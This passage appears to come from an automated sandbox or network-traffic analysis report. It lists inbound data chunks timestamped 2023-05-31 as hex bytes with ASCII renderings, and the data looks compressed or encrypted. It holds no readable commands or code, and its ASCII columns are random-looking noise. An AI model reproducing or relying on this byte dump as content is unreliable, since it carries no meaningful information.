3c 5e 26 da 89 de 9f b6 1c a9 28 18 ab Data Ascii: O VQ[+>Z-XhhPEOT;nN#`OBw*K$B >zbpf^yu-Hxm9JhaEML#7eoK6L@E#RdF5c_{ _%?GGJxk9h%V<^C<^&(
2023-05-31 10:22:21 UTC	361	IN	Data Raw: 9a 00 1c b1 28 27 0a 50 0e 11 05 bc c6 70 b2 b3 e5 40 9e 63 3a 4b 1a 73 4c b2 a4 e1 e2 0c 6e e6 ca 41 2a ad 61 ef 9d b0 3c f3 1c 8e 50 dd 36 db 6b 1b 2f cf e1 c8 73 cc 0e e3 16 e6 00 5a 9e 30 5b 2e 13 8e 58 d4 f2 10 67 cc b1 06 3f e7 b5 ea 4c 1d 8e 9a 27 b4 37 3f 67 43 fc 9c 8f 88 fd 95 8f 2b 47 83 09 d8 14 a9 28 12 d4 9b 38 ae 2e 01 5a 2c ca 19 df 95 83 8c ef 26 3a e9 ba 72 90 74 fd 88 7b c1 61 95 39 0c 79 3b cc 27 d1 6e 58 3c 87 23 6b 87 45 9e 99 22 c7 16 1a 4a b0 b9 fd eb ff f7 09 64 9d 58 8b fb 92 30 87 a3 e2 09 30 95 75 1d 44 c3 13 3a 02 77 2a 47 f7 c0 9d 26 0e 38 22 28 c7 a0 23 c2 a9 9b bb 09 7a 8e 16 6e 82 26 e2 41 c1 73 b4 f0 06 ac 8d 1e 6e ca 21 0f b7 da e8 c8 a6 1c 72 64 33 d1 39 20 98 43 fe 6a d5 58 09 86 7a 97 48 09 70 32 53 0e 39 99 d9 45 3d Data Ascii: ('Pp@c:KsLnAa<P6k/sZ0[.Xg?L'7?gC+G(8.Z,&:rt{a9y;'nX<#kE"JdX00uD:wG&8"(#zn&Asn!rd39 CjXzHp2S9E=
2023-05-31 10:22:21 UTC	377	IN	Data Raw: 33 18 cc ec 8a f3 da 3a db 79 5e a3 64 c3 55 57 3a 76 b8 ea ce 0d 57 5d da a4 02 b1 ba 1b ae ba 52 6e 48 ca e1 aa ab 1f 2a 88 ca 36 7e 8e 1c a2 3b 7c 78 cf 4c f9 5e b3 cf 0e c7 db 33 69 5e 8e b7 40 45 09 d7 4c 0d d4 98 00 8f 5c 2a 07 1a 4c 28 d7 a3 85 ed 18 86 72 34 db 21 f3 53 03 92 72 78 e4 72 f8 98 61 5e 55 51 70 a3 fd 2a e5 e1 46 7b 7e c9 cb 60 1c 48 3a d6 35 53 03 a9 a8 9d 2c 82 8e a4 7c 5f 1c 10 40 2a 0a 04 f5 7c 4a 01 25 20 95 bf cf f5 84 0d 34 94 d0 f2 12 10 88 9d f8 e2 7d 90 a3 c4 d0 52 51 70 a3 8d 1c e1 46 7b b6 dd 3d cd de 80 58 dd b7 5f 3b 64 20 e9 18 d7 4b 03 90 6a 35 2f 8e 14 7c 50 52 be 32 1e 8b 23 29 df d7 d6 19 88 ca cb 15 d0 cf 11 95 17 f8 d7 ea f7 28 e1 5f bb 0a bc 65 b9 3d 37 a4 4e 74 76 31 0e ea 95 ec 62 16 de 22 37 13 40 d2 71 05 f4 Data Ascii: 3:y^dUW:vW]RnH6~;\|xL^3i^@EL\L(r4!Srxra^UQpF{~`H:5S,\|_@\|J% 4}RQpF{=X_;d Kj5/\|PR2#)(_e=7Ntv1b"7@q
2023-05-31 10:22:21 UTC	393	IN	Data Raw: 26 f6 b4 30 b5 29 46 bd 5b c0 49 1e 45 89 7a dc 02 40 26 95 96 23 ea 68 b7 8d 30 10 75 34 d8 08 2b 47 0b 1b 61 b3 92 ca 77 03 20 ea 68 b7 61 ef 6a 61 d8 6b bc 2b e9 90 07 44 e5 1e c5 55 ca 23 8a eb 11 e1 9c a5 1c 11 61 f5 88 e5 3a f6 ad 88 b0 6a 62 cb cd 84 21 7e ce b6 10 e5 cd 04 10 ab cb d0 ab d2 11 af 4b eb 0e bd ea a8 28 21 43 77 3b 92 72 5c 6c 85 f2 b8 d8 5a 7d 66 78 3e 47 52 8e e7 9a 5f 7f f9 04 52 0e 58 2e 87 f2 b0 5c 5e e3 b9 fc 71 80 98 63 5c e1 95 1c b1 ba e3 a2 d3 76 44 e5 c3 e9 b4 d9 8e d1 62 92 19 3d 49 ab 1c 49 f9 7c ae 2e 19 62 cd 2e cb dd b9 42 47 b8 73 2d 77 e7 8a 1c 71 68 58 1e 10 56 5d 12 01 61 4d 5c b9 2f 01 62 03 e7 45 c0 ed 88 b5 9a 17 39 b6 23 25 dc 7e 5e 2b fd bc 8c 02 a4 e4 0c 37 e3 fd c3 76 25 69 3a 04 c4 ea da 25 4e 2c 13 86 34 Data Ascii: &0)F[IEz@&#h0u4+Gaw hajak+DU#a:jb!~K(!Cw;r\lZ}fx>GR_RX.\^qc\vDb=II\|.b.BGs-wqhXV]aM\/bE9#%~^+7v%i:%N,4
2023-05-31 10:22:21 UTC	409	IN	Data Raw: 2e 29 44 ae 78 92 5e d0 51 28 3f 9f 4c 4b e4 28 9a 3a f0 cb 88 4b 0e a0 97 05 e7 fe ca 6c ca d0 fa 5b 11 b3 c6 79 d8 d4 3b ca 0f 75 5e 7d 20 0f b8 45 f8 d8 4f d3 92 71 7a 39 28 02 b1 bb 48 cf c7 87 78 86 56 86 bb 34 e7 95 05 10 95 cf 72 03 69 88 bf e0 59 f5 3b 78 96 be 83 07 0e 1b d2 41 87 0d 13 57 de 01 18 e2 f7 e3 9c a4 30 74 e4 dd bd 47 81 72 50 04 da 51 80 f0 a1 e8 15 d0 1b 05 6f 39 41 02 cd 28 28 be 1f 40 f1 46 d9 bd 9d 3c 07 1c b1 06 08 41 a4 9c 84 20 57 04 21 88 74 90 10 64 bc cf 9b f9 d5 1c 45 af 1e d0 7b c4 67 1b 28 74 3c 70 a6 88 91 1b 8a 09 77 97 05 3b 60 fd 8b 35 06 0f 58 77 85 28 2f 0e 90 0a d2 6f 09 88 03 7c 4e 39 60 59 2a b1 98 25 96 81 25 67 09 50 34 f5 c2 67 82 e3 78 e9 33 71 c5 7a 65 f1 8a 01 f3 8a 3d 73 4e 02 bd d4 01 42 10 2a 7f 49 08 Data Ascii: .)Dx^Q(?LK(:Kl[y;u^} EOqz9(HxV4riY;xAW0tGrPQo9A((@F<A W!tdE{g(t<pw;`5Xw(/o\|N9`Y%%gP4gx3qze=sNBI
2023-05-31 10:22:21 UTC	418	IN	Data Raw: 44 91 10 6d 3b 98 35 b8 1d 34 63 c4 d4 fe 0a 88 4d 99 03 af a6 a8 21 2a 9f 2d f7 d4 b6 c1 e1 fb 31 33 0a 22 10 75 cc 72 41 07 14 0f 71 82 9f 21 3e c2 40 ac b1 cf 28 3a f6 d1 38 40 c5 c8 5f 70 1e 6e 07 cf 32 87 38 e9 30 14 dd 75 67 0a 36 45 67 0a 13 a7 52 af 06 62 0d d8 26 f8 0b ae c9 6f ed 59 eb 29 af c1 92 6d c2 1c 98 ca ea b3 64 9b 80 4f e1 71 3e 4b 47 9c 0c 0b ac 11 aa b1 b9 1d b4 a0 b4 93 53 74 1d 5e e9 59 0c 55 5e 15 03 85 8e fd bc e5 e3 b5 83 03 c2 c4 f7 2d 8b 8c a1 e8 ae 27 bc e4 38 76 d7 4a bd 47 cb f3 07 10 75 80 1c 82 8b cc 9e dc 72 5e 71 96 57 6d eb b8 04 7e 48 ed 5e cf 5e dc 8b 1a d1 79 de 40 02 c5 c8 37 42 28 d4 94 05 4f b3 c0 36 a9 9c a2 fb 70 93 6a 9e e3 79 91 02 14 ca 0f 1c 4f e2 f6 03 08 dd bd 93 22 49 15 02 f5 28 c8 94 0f 86 82 f0 c0 44 Data Ascii: Dm;54cM!*-13"urAq!>@(:8@_pn280ug6EgRb&oY)mdOq>KGSt^YU^-'8vJGur^qWm~H^^y@7B(O6pjyO"I(D
2023-05-31 10:22:21 UTC	434	IN	Data Raw: 7b 94 fe d8 c4 91 7e fa 40 d1 dd 5d 1d 68 2e e2 ad f3 c1 59 86 5b b5 b3 15 18 72 b0 3f 4f 1d 0a 0c 39 e7 53 42 d9 81 58 50 43 30 80 62 80 78 9f b3 06 b3 a5 5d b1 64 4b 73 c4 a6 0a 99 bf a3 18 07 fe 13 33 d1 2e 5e e3 ee f5 8a 4f c6 86 3b ea 2c c8 2b 0b 47 93 05 c9 d9 ef e8 8d 82 12 69 e1 68 47 41 cb 68 72 47 ac 01 d3 96 9a a2 69 eb 8a a0 49 54 0d 86 60 5c 11 21 18 df d9 2b 86 60 98 98 16 2c 47 6c ca 72 96 66 af 66 6c 58 cc d9 3c 1d b3 1c 45 8d e7 93 d1 e4 40 3d 94 7b e2 67 d6 50 e2 e7 2b 22 d2 82 dd 7d 18 69 71 c5 96 bb 70 47 a1 fc e9 e9 b1 e5 88 ca 11 69 c1 1f ea 61 a4 85 f1 ab e5 fd ae 23 2a 2f 91 16 8e a8 bc 44 5a 38 a2 72 44 5a f8 6e c9 51 28 7f 4b a4 05 d0 0e e5 9e 75 9a 03 7c 19 50 71 45 04 54 f8 8b 63 68 53 b9 65 5e 3d fa 3d 2c f3 2a 9b f2 48 8b 5f Data Ascii: {~@]h.Y[r?O9SBXPC0bx]dKs3.^O;,+GihGAhrGiIT`\!+`,GlrfflX<E@={gP+"}iqpGia#/DZ8rDZnQ(Ku\|PqETchSe^==,H_
2023-05-31 10:22:21 UTC	437	IN	Data Raw: 0e 14 ca 77 2b 86 11 bb 79 e5 64 d8 a3 98 39 80 d8 54 49 cf e7 88 4d e1 b4 cd 47 b2 75 da b6 a0 84 dc bd 1a e2 23 d9 ce 22 c8 1a 4c e8 67 2e ed e5 6c 00 34 59 30 cb 92 b1 65 58 37 e7 f3 dc bd 02 45 53 c7 bc 82 fe f6 1f bf 88 07 8a 5e 1d c4 a5 f2 91 1c c6 a5 c2 eb 36 2d 26 40 a1 fc 20 60 35 0e ee 70 16 89 71 9c 92 6c cf 11 75 cc 57 99 cc 1c 51 c7 2a 0e 4d ee 55 18 05 08 71 e5 6f 7e 18 e2 da e1 77 92 5f 83 c3 80 d5 6e 8e 60 79 03 09 d4 a3 00 e9 f9 62 52 bb ef 50 14 b4 62 ff 00 9a 51 d0 93 4c 13 68 53 07 ce ce 3f b1 86 ce ce dd e9 56 d4 14 e9 56 cc f4 9f b1 af 8e a8 7c 97 5b 67 20 2a 47 16 3e d5 60 16 be 6e 96 d8 9c 89 40 a1 fc 41 4e bd 38 e3 00 85 f2 07 b1 af 61 63 01 0a e5 0f 62 5f e3 48 06 14 ca 1f 1c 5f a9 fc 61 be 3b 5c 66 e7 eb 6c 88 8f 1d 37 d8 d9 2b Data Ascii: w+yd9TIMGu#"Lg.l4Y0eX7ES^6-&@ `5pqluWQMUqo~w_n`ybRPbQLhS?VV\|[g G>`n@AN8acb_H_a;\fl7+
2023-05-31 10:22:21 UTC	443	IN	Data Raw: 55 23 0e d5 26 e6 fd 55 a0 68 ca b3 54 b2 c6 1e 6a 6a 9f dc 5f 39 f2 71 bc a7 9d a2 e3 44 be 09 13 61 25 63 8d 13 56 b2 f1 20 74 49 3a 10 ba f4 89 82 9d 3b 4b 47 de 14 22 94 54 03 11 4a 9f 28 c0 d2 87 2b d6 40 93 05 9d 97 cb 81 a2 a9 27 af 45 02 45 8d 17 5e 93 a1 dc 50 4c 86 fb b9 ca a5 cf 91 8f 63 b4 47 c7 25 47 ec d5 49 7f b8 40 a1 e3 1c 3b be c2 a0 10 c8 1f fb 6c 79 07 10 c8 6b cc 0e 3f 80 a8 01 e4 ca e7 80 47 3c 6b 8c f0 88 b7 84 7f af 8c 93 81 a2 c6 46 de 70 d6 d8 91 37 fc 8a e7 c9 6f 94 a3 68 ea a4 45 31 90 f7 6a bd 5d 26 ec 40 6f 14 ec dc 59 3a 72 e5 eb c0 cd 8a 35 4e b8 59 99 98 d7 ea 81 bc c6 f6 0d 7d d4 d8 da d0 3f db 09 41 a2 c6 26 21 c8 15 5b 9f b9 5e 01 f5 28 d8 2b 7f 28 43 f1 43 6d f8 e3 aa c6 8a b4 5d 57 dc 48 77 c5 1a 3b d2 5d 99 d8 75 eb Data Ascii: U#&UhTjj_9qDa%cV tI:;KG"TJ(+@'EE^PLcG%GI@;lyk?G<kFp7ohE1j]&@oY:r5NY}?A&![^(+(CCm]WHw;]u
2023-05-31 10:22:21 UTC	459	IN	Data Raw: b8 77 44 99 c8 cf 99 88 d5 ed 8c df ae 71 d5 1d bf 3d 48 bc 02 68 5c 01 b1 56 cf e9 33 36 f4 1a 57 40 55 0c 58 e9 7d 6f 86 ac f4 7a c4 a6 8d bd 8f 94 03 49 82 06 34 aa 6e 4f 03 9a 48 7c 37 72 f1 22 92 72 1e c3 2d 91 c7 f0 bb f3 5c 6b 89 3c d7 c6 4d 78 bc 02 e8 f7 00 52 03 27 ae d5 2d 31 7d ad 1e e1 8f fb 1e bb 81 34 76 07 9e 33 2c 01 84 a2 9e 5f 3f fc b9 18 b4 4a 08 45 b5 f9 46 56 5d 8e 5d 22 d4 aa cf 06 2f 3a da 01 00 f1 17 1c 93 a7 09 16 45 84 06 ce 55 b1 a1 47 2a 2a 21 28 5f 8a d9 8f 3c 71 42 a1 fc e9 fc 78 12 96 0e 22 b4 63 44 da b4 e8 5d d4 4a 08 12 61 ff 16 c7 57 64 64 13 ea 60 94 30 36 b9 98 cf 4b a8 90 c1 83 3b fa 4a 88 45 21 a5 de e2 37 48 84 06 3e e7 f4 8e 6b 75 34 50 a8 82 b1 f8 cc a1 a2 96 9f 39 22 e9 ce 3b 26 00 b6 83 08 ca 9b 42 e0 b2 a8 96 Data Ascii: wDq=Hh\V36W@UX}ozI4nOH\|7r"r-\k<MxR'-1}4v3,_?JEFV]]"/:EUG**!(_<qBx"cD]JaWdd`06K;JE!7H>ku4P9";&B
2023-05-31 10:22:21 UTC	468	IN	Data Raw: 89 a8 1c 31 f6 f2 a7 45 8c 3d ea 78 fe f7 95 0b 24 d1 14 03 cf 03 aa d5 b2 59 68 90 63 db 33 10 15 33 d6 a1 e3 f2 2b 19 49 5f d6 10 59 c7 dc 77 32 40 f5 9d 8c 7a 48 d8 ca 22 c8 f4 7c 11 2a 9b b1 0e 89 91 ca e1 f9 72 48 b8 4b 22 7e e6 7d 4a a8 13 9f 46 d4 eb 90 58 35 5b ce 43 c3 5f c9 d0 80 5b 71 37 b0 6b 15 a8 24 e3 68 79 20 b5 a3 c0 0b 22 25 e4 05 21 f2 90 28 ad a7 44 46 10 10 2a 9b b1 0e 89 3e 5d d4 bd 2f cf 88 ca 66 1c 12 f7 95 ca 91 a8 65 4b b4 b2 19 67 3b ee 96 ed 80 77 ff 96 38 94 c7 4c bd 25 3c 53 3f e4 f8 d0 31 b6 8e f1 a1 63 a4 0e dc 59 a6 84 ef 2c 41 3a 1a 89 90 7e a8 d2 d2 aa 58 68 26 e3 3a 24 9a 57 b5 87 fc f8 05 db fe 05 71 94 d9 12 f9 e1 84 4b c4 87 c4 da 12 eb 94 f0 5c f2 90 f5 ec ab 56 e7 66 9c 7d e5 8b c6 20 f7 43 15 91 06 1c 5e a4 74 cb Data Ascii: 1E=x$Yhc33+I_Yw2@zH"\|rHK"~}JFX5[C_[q7k$hy "%!(DF>]/feKg;w8L%<S?1cY,A:~Xh&:$WqK\Vf} C^t
2023-05-31 10:22:21 UTC	484	IN	Data Raw: 32 03 21 2b b0 f7 21 c2 f0 79 48 46 b9 f9 5b 12 8a 72 03 72 5d 36 74 20 2a 92 a0 bf 1a da d1 b7 bf 5a 90 b1 d4 73 16 15 aa 62 8c db 7e 5e 42 d2 c1 14 03 df cc 60 8a 81 20 23 0d 8a 96 54 a1 4e 06 63 d6 c0 5a 44 48 ca d7 7e 45 16 92 f2 b5 2f 33 85 a4 9c a1 1e ac dc a1 1e 9e dd 06 1f 14 d4 f2 cb 0f 0a 41 96 bc 29 12 9a 62 e0 04 a9 06 02 75 31 5a be d1 13 a5 8e e1 b0 4a 46 2e 6a 9f 07 85 58 dd 8b 01 28 ac c3 01 28 22 0d 7b 3c 7b a7 c4 bc 86 3a f1 9a 71 19 ee df 03 48 b5 9a 99 04 d8 48 0d e4 a5 93 7a 37 2f 9d fa 3b ee 61 ef d4 11 48 ed 88 8c 61 be 42 12 a2 8e b8 de f3 5b aa 50 31 23 ae bc ff fa e9 95 a8 8a c1 98 03 d2 71 e9 ee 15 64 b5 d3 9f 90 75 e0 a6 48 3f 14 50 16 15 cf 1c 5b 62 e9 87 2a 61 ea bc b6 44 a9 d3 3a ca da a3 04 c8 d5 85 1d 72 16 25 3b 64 90 f9 Data Ascii: 2!+!yHF[rr]6t Zsb~^B` #TNcZDH~E/3A)bu1ZJF.jX(("{<{:qHHz7/;aHaB[P1#qduH?P[baD:r%;d
2023-05-31 10:22:21 UTC	500	IN	Data Raw: 10 82 f2 8e 2d 9c 5e 4c 88 30 53 3f 5b a0 82 d7 70 d6 8a 88 12 91 0b 79 68 55 13 ea 64 34 bc 2e 59 a2 e9 75 69 f4 08 f1 ea 5d 9f 10 25 da 84 0b b8 8a 02 42 3b 7a 3c b1 67 5f 11 55 33 e2 ee 95 bf 07 10 bf c1 20 d7 ae 15 50 17 03 a1 7c f9 7d 10 59 07 52 b5 a5 8e a9 49 26 48 38 c5 fe f5 4a 24 e5 e1 4e bc 6b 15 c8 8c 4c f5 69 c4 a2 d6 a8 b9 e2 08 81 f1 4c 6a 78 9b e0 87 03 c4 76 8c 67 dd cb dd ab 10 25 6e 1a 02 b1 77 89 a0 7c f4 1b e1 3d 24 01 44 89 67 fd 1f 8a 7b 6e 44 89 08 59 15 e3 0a 5d 42 d4 c9 28 98 e1 fe fe fc 32 52 ad e4 e6 f1 9b 24 ec e6 11 a1 17 f1 8e 63 09 e5 5e 0e 92 6e 1e 5f fe ef 65 c4 71 f5 4c a7 08 a4 c1 1f 8a 88 12 13 79 0c dc 0e 20 ea 58 32 9b a6 8e 65 b3 e9 b8 9a 99 b9 c5 21 e2 80 9b 7c 53 50 cb 89 a0 23 12 53 a7 3d 83 10 8b ba 61 12 af 5a Data Ascii: -^L0S?[pyhUd4.Yui]%B;z<g_U3 P\|}YRI&H8J$NkLiLjxvg%nw\|=$Dg{nDY]B(2R$c^n_eqLy X2e!\|SP#S=aZ
2023-05-31 10:22:21 UTC	516	IN	Data Raw: 8f ab ab 1c 3c 20 71 39 e0 a2 ea f2 48 7c 3e ed ba 7f 5a a0 62 06 02 76 fe f6 4a a4 a2 98 2b c5 45 29 57 0a c8 b8 81 40 42 3f 23 17 05 23 1d d7 aa 55 8f f6 de 60 e3 c5 f5 03 c8 bd 3b 98 d4 46 12 e3 f2 37 18 09 c1 eb c8 a2 06 a3 98 83 8c 04 17 5b a2 35 37 90 fe e7 29 21 23 9d 20 23 fa d2 96 58 1e a2 7d c2 b8 85 0b 24 90 6a 35 19 c8 4f 1f e7 54 20 bf 20 c7 c8 d3 9d 10 6b 15 a6 fc d3 53 1f 11 94 cf b0 a1 56 1e 13 21 56 77 5e 98 33 54 14 11 74 44 f2 17 47 69 36 82 8e 30 fe cf 2b 24 a1 4e 06 77 32 78 1e 10 62 51 0a ad 2c 09 87 56 7e c8 de 61 33 c1 8f 13 88 e3 6a 45 2c c3 1c 25 44 45 8c 63 5f 42 d4 cd 40 f4 d6 df 5e 89 a6 18 75 2f 2c 44 2e 0a 47 e4 ff 7c 7d 25 b2 44 4b bb 3e a1 2a 06 96 a2 7f ff f7 95 c8 12 dc e2 b8 56 de e2 84 13 55 cb 5d 06 91 ab 8b 40 4c 7f Data Ascii: < q9H\|>ZbvJ+E)W@B?##U`;F7[57)!# #X}$j5OT kSV!Vw^3TtDGi60+$Nw2xbQ,V~a3jE,%DEc_B@^u/,D.G\|}%DK>*VU]@L
2023-05-31 10:22:21 UTC	532	IN	Data Raw: 7e 90 2e cf e8 4e b7 e6 78 02 e8 f4 58 8f e4 5a eb b6 0d bd 11 25 22 ec be 37 db 42 e8 92 d8 17 5e 25 8b 02 9a 64 4c 38 10 c3 b8 45 88 3a 62 b6 5a 74 70 21 e2 d8 7d d6 9d f2 b6 e1 bb 11 95 77 9e 9d a5 bc fb ec 1c 6f 14 7b 17 2e 54 c9 68 d8 bd b2 4b 80 d8 89 a1 2f 37 a9 42 92 60 e0 51 4b 28 f0 28 48 6c 52 a9 9c a8 8b 91 b1 bc 8d 5c 14 b6 83 f8 a2 84 58 5d c5 fd 90 0e c7 fd 40 e2 a2 6e 6f 0e 23 ea b8 71 04 e5 a0 16 62 51 f5 9d be c8 46 a8 ee 1d 97 ef d9 40 a2 4a 06 43 5d b3 a8 40 dc 8b c6 de 7a a4 c9 8d 10 8b 7a e6 d0 b0 35 60 75 89 58 14 8c 26 d7 a7 7f fe cf cb 88 ed 78 4e c1 99 dc cd a8 93 31 61 3b 18 01 28 8c d0 8e 1a ce f6 9e 32 84 a0 3c 0e 83 8e 39 60 04 e5 f1 c7 6e ff 46 d0 11 e9 c6 1c 56 c9 88 3a 90 e2 ca 5d 42 c4 a2 6a 3c ea ba 77 89 24 71 3c 61 0b Data Ascii: ~.NxXZ%"7B^%dL8E:bZtp!}wo{.ThK/7B`QK((HlR\X]@no#qbQF@JC]@zz5`uX&xN1a;(2<9`nFV:]Bj<w$q<a
2023-05-31 10:22:21 UTC	548	IN	Data Raw: b3 93 80 51 37 63 7f b5 40 fa cd db 8d 3c 8a 96 b8 df cb 45 dd ef fd 7d 10 a9 e5 77 3a 99 19 f5 8f 83 4c 89 07 0d 31 90 a0 37 25 6a 77 3b ee da e5 00 66 e4 a2 c2 aa f5 90 d0 13 36 c8 a3 e5 77 cd ea d6 b7 1d f2 8c 58 54 1f e9 26 68 44 e5 83 d7 3b 9c 7d 88 a8 23 02 84 e7 a4 4f c4 a2 e6 e8 4e 34 6c 34 c5 80 71 3d 2d 52 88 8a 18 88 52 a0 ef 63 2a 4a 41 90 13 e6 30 fc ce 89 a4 9c e7 0f eb c8 f3 c7 8d c8 4d bb a8 59 35 59 de e1 bf 35 6f bd ab 11 55 31 e0 12 c3 89 0c 68 5a 82 0e 2e ff bc 12 4d 31 60 c9 c1 b5 96 88 2d 7f fa bc 2a d3 b8 91 74 c0 6e 41 b3 0f 90 c6 d5 ba 10 d8 c4 ca 2f 06 36 09 92 59 2a bf fc fc 4a 84 06 d6 f8 99 f2 e0 4e d4 cd 58 39 85 13 51 02 7e 08 1e d4 40 6c 60 ad 34 b3 92 44 95 99 15 48 1c c3 59 2b a2 6e c6 cc cd 04 91 74 d0 fe 2a 8b ba b5 b0 Data Ascii: Q7c@<E}w:L17%jw;f6wXT&hD;}#ON4l4q=-RRcJA0MY5Y5oU1hZ.M1`-tnA/6YJNX9Q~@l`4DHY+nt
2023-05-31 10:22:21 UTC	549	IN	Data Raw: 03 0f 11 6b 35 78 33 c1 0b 3a 20 b5 e3 59 8e f7 73 0d 11 95 3f d3 7f c9 85 85 08 45 31 5c 06 3d 46 84 38 5f 45 f0 8a bd 49 25 42 51 eb 7e d3 2b 1e ca 89 58 14 4e e1 9e 96 80 b8 7e 3c 5b 0c 18 a5 f3 8b 22 42 cb 17 0e 04 d7 c7 af ff fb 4a 54 c8 18 78 af a5 71 0b 11 95 4f da 27 4a c7 4c fb c4 15 be c1 e9 1e 41 44 89 45 d3 21 49 ac 34 1d 5a 78 c1 5e 1a 89 40 6a f9 0a c3 6e 7f ce 44 2a aa 20 14 0a 27 64 a2 2e 46 b9 d3 25 86 a8 8a 51 63 03 f9 83 19 55 1b c8 87 84 95 b7 95 17 5b 79 af a7 43 eb f2 5e 94 48 3a 6e c4 a0 b3 c4 5d 65 3c 1c af e2 fb e6 0e 48 dd 8e c8 7f 2b 95 df 43 33 dc 43 c2 a7 da d5 bd a7 0c cc 82 ac f7 ee ab 40 d6 31 f7 0c 47 a4 ea d6 b2 0d cc 88 d4 f2 8a 07 1e 6e b6 81 a6 94 77 a4 7d fc a2 a2 3a d3 3e 3e ab 1b 0c b0 35 59 02 71 93 fa 90 ab 3a d6 Data Ascii: k5x3: Ys?E1\=F8_EI%BQ~+XN~<["BJTxqO'JLADE!I4Zx^@jnD* 'd.F%QcU[yC^H:n]e<H+C3C@1Gnw}:>>5Yq:
2023-05-31 10:22:21 UTC	565	IN	Data Raw: bc 28 fe fd fb 2b 91 95 23 26 f9 17 2b 67 4c f2 20 95 ed 46 9f 9a b2 dd 90 8c fd d5 1f ff bc 12 15 33 70 7c fd fb 95 68 9a 11 0b fd cf df 5e 89 a4 9c 47 80 bf 2c 71 e5 1a c5 ab b0 5f 7e 7d 25 b2 f2 90 e1 f1 55 c8 ca f1 ae f6 f7 1f af 44 56 8e d8 ea bf 6b 99 18 25 d7 a8 81 5d c6 0f ff 32 23 d7 a8 81 77 03 9e 0d 88 ac bc 60 8d fa fd 95 c8 ca 61 a0 fc 5f fd b4 e3 ce 35 6a c0 f0 3d 8b ba 73 8d 1a 77 ac 51 df 5d d4 9d 6b 14 ef fa 7e d6 68 f7 5d 1f c8 58 a3 be bb e5 35 d7 28 5e 02 7e ff df 57 22 2b 87 09 d4 af c9 c8 35 6a c0 d6 e0 ab 75 b4 5c a3 06 ef 64 dc 89 2d d7 a8 81 50 f0 bf bb 81 2d d7 a8 01 6b aa 2f c9 c8 35 6a c4 95 12 8c 74 8c ac 1c 21 ed ff f8 b7 19 b9 46 0d ec a9 bd cb 18 3d d7 28 64 45 fb f8 fe cb 2b 91 95 23 41 d6 7f 5d dd 91 9b bb f0 57 da eb 47 Data Ascii: (+#&+gL F3p\|h^G,q_~}%UDVk%]2#w`a_5j=swQ]k~h]X5(^~W"+5ju\d-P-k/5jt!F=(dE+#A]WG
2023-05-31 10:22:21 UTC	581	IN	Data Raw: e4 84 6b 8f 25 26 5d 7b 40 22 9a d5 2f 7f bc 8c 8a 24 70 d3 98 ca 17 13 c8 3d 64 e4 22 ae d9 89 40 2c 2a 72 ad ca aa d8 88 0d bc e1 e9 85 65 42 48 3a 6a 83 97 69 3c 9f 19 b1 81 ad 20 28 cf 0f 54 0e 44 e5 30 09 48 e5 36 10 20 e9 24 f2 44 9d 13 c0 35 e8 f4 f7 9d ca 87 9c fe 1e 72 b6 82 d8 d1 54 0e 44 1d cc 97 68 1d cc 97 48 c6 bc fd 58 6c 84 06 96 88 66 99 b5 22 82 c4 33 ed c1 b2 86 12 44 94 b8 07 e2 a4 52 39 10 c7 6e a9 0c 59 f1 23 3e 4e 22 54 b7 b4 37 73 d1 fd f2 4a 54 c8 e0 cd 9d 94 37 dd dc 05 49 17 57 0e 06 20 e9 68 74 26 e5 0c 47 64 09 78 67 86 ff a0 91 94 f3 f2 8c a3 9d a8 98 01 ef cc 1f 5e 89 5c 14 e6 92 94 f0 5c f2 90 b8 7a f9 e2 5a f1 ea 05 39 71 11 d0 f6 e7 7f bd 12 51 79 a7 89 f9 17 f6 55 97 89 f9 43 8e 37 d2 57 aa 77 03 71 86 2b 11 ad 65 34 eb Data Ascii: k%&]{@"/$p=d"@,*reBH:ji< (TD0H6 $D5rTDhHXlf"3DR9nY#>N"T7sJT7IW ht&Gdxg^\\zZ9qQyUC7Wwq+e4
2023-05-31 10:22:21 UTC	597	IN	Data Raw: 28 bf ed 56 35 ba c4 11 94 23 7c 2a cd d1 8e b6 0f 38 f3 0f dc d1 25 8e bc a8 bb c1 1c ed 3a 1c a1 db 6f fb 36 e3 1b 74 34 c9 c0 0b 69 b3 2d 11 79 03 6f 4b a3 7a 7b 62 42 21 4a b8 67 a6 24 e8 99 09 b2 37 e6 9c 14 a2 72 8f 2f 1a 12 1e 5f 14 24 a2 53 86 84 47 a7 34 d2 5f 86 c1 64 01 c4 4f cd 1c 66 56 51 3e 68 c5 b1 84 3f 43 49 67 85 a8 7c 21 c4 a7 24 d6 6a 6a f9 82 fb 9e 74 ac a3 6e 1f 1b d1 29 25 b1 3d 3a a5 91 07 c3 e7 1b ab 7b 34 7c fa 33 d7 dd 31 c9 38 82 0e 7b 98 73 62 92 71 04 89 f1 ec bc 7b 0c 51 47 d3 19 07 cf 9a fd 33 70 b4 c9 08 c7 77 22 ec 4b 2c 8e 1a dc bf 7d 94 38 f2 a2 1a b6 fa 92 00 72 e5 76 1a b0 ab df 1f 5e 81 5c c7 79 b6 41 5d 23 d1 51 27 63 5d 31 12 07 7c 6e df 64 ec 38 60 11 49 62 97 5a 1d 9a d5 9d cc e9 d5 51 48 ec 53 25 38 b7 4f 86 b9 Data Ascii: (V5#\|*8%:o6t4i-yoKz{bB!Jg$7r/_$SG4_dOfVQ>h?CIg\|!$jjtn)%=:{4\|318{sbq{QG3pw"K,}8rv^\yA]#Q'c]1\|nd8`IbZQHS%8O
2023-05-31 10:22:21 UTC	613	IN	Data Raw: 7e 75 fa dc 39 52 cb b7 fb dc fd 1f 19 43 df c7 75 ae 3a da 0d 75 31 6c f7 aa 51 72 e8 33 01 12 f7 06 7f bc 02 b1 ba 27 9d f1 1c 69 f8 1c 5c 54 a9 ba e7 8e ef e3 64 4a 2d 22 29 1f b9 b0 38 52 75 c7 88 0d bd a3 90 88 38 90 8e d4 f2 33 73 29 72 24 e5 08 99 17 3a 18 32 cf 48 f8 ef 46 75 e9 bf 6b 41 c0 11 ac 9c 12 40 9b 0c f8 0e 72 50 03 b9 8e a7 6f f2 f8 ea a8 93 31 6d 7a e5 57 0b c4 a2 3c 0c c3 57 49 30 0c 83 85 1d 4f 2f 3d 22 16 f5 1c 06 8a 72 43 92 98 39 bd 3a a2 8e 7b e5 f4 ea 88 12 7e 9b 21 89 b8 cd 78 48 38 fc 49 a2 d3 e1 cf c8 9e bb 70 20 fe e6 ad 0f ec c2 c5 18 9a 5e 9f 73 45 78 e9 11 b1 a8 01 2f 3d e9 18 f4 d2 33 72 95 e9 15 88 b5 1a 27 2d db 40 fc cd 9b 5f 73 48 22 ae 39 1e f2 0a a7 5b 22 76 c9 44 62 74 fe e6 40 ac d5 ec 69 0b 